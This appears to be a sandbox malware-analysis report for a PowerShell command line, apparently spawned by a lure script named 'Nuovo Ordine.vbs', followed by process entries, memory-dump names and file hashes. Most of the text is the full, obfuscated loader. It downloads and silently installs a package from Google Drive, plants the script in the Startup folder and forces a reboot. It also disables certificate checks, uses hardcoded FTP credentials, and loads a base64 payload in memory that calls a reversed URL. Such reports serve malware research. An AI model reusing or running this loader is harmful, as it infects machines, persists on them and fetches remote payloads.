"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $Xfovd = $host.Version.Major.Equals(2) ;if ( $Xfovd ) {$DxTJN = [System.IO.Path]::GetTempPath();del ( $DxTJN + '\Upwin.msu' );$gUKxo = 'https://drive.google.com/uc?export=download&id=';$qVCNu = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVCNu ) {$gUKxo = ($gUKxo + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$gUKxo = ($gUKxo + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$oomts = (New-Object Net.WebClient);$oomts.Encoding = [System.Text.Encoding]::UTF8;$oomts.DownloadFile($URLKB, $DxTJN + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($DxTJN + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Nuovo Ordine.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$ayzp = (New-Object Net.WebClient);$ayzp.Encoding = [System.Text.Encoding]::UTF8;$ayzp.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $ayzp.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$ayzp.dispose();$ayzp = (New-Object Net.WebClient);$ayzp.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $ayzp.DownloadString( $lBCzSg );$huUPX = 'C:\Users\Admin\AppData\Local\Temp\Nuovo Ordine.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.oti/stnof/sedulcni-pw/moc.sweiversecivreslautrive//:sptth' , $huUPX , 'true' ) );};"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe RiWcG /quiet /norestart
C:\Windows\system32\wusa.exe
"C:\Windows\system32\wusa.exe" RiWcG /quiet /norestart
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
Network
Files
memory/2312-4-0x000007FEF59DE000-0x000007FEF59DF000-memory.dmp
memory/2312-5-0x000000001B4D0000-0x000000001B7B2000-memory.dmp
memory/2312-7-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp
memory/2312-6-0x00000000027A0000-0x00000000027A8000-memory.dmp
memory/2312-8-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp
memory/2312-9-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp
memory/2312-10-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 0aaa4666fda6641ae2c33b6fef6bc32d |
| SHA1 | d5a9b23e866149225053c0329c4e053daec65180 |
| SHA256 | 8304993301a2bdcdde6de4da32dfee0f441edc5927eff1a7cefae65915426738 |
| SHA512 | e94b8a1d09c893f34a4072115d13c86d32e50cf106ba977cf10db102c1692a19379a487a40f19bf1377ce2a0ee5bdfb85d548d28ebb6909ee57e0d3f02c8fcb3 |
memory/2312-28-0x000007FEF59DE000-0x000007FEF59DF000-memory.dmp
memory/2312-29-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp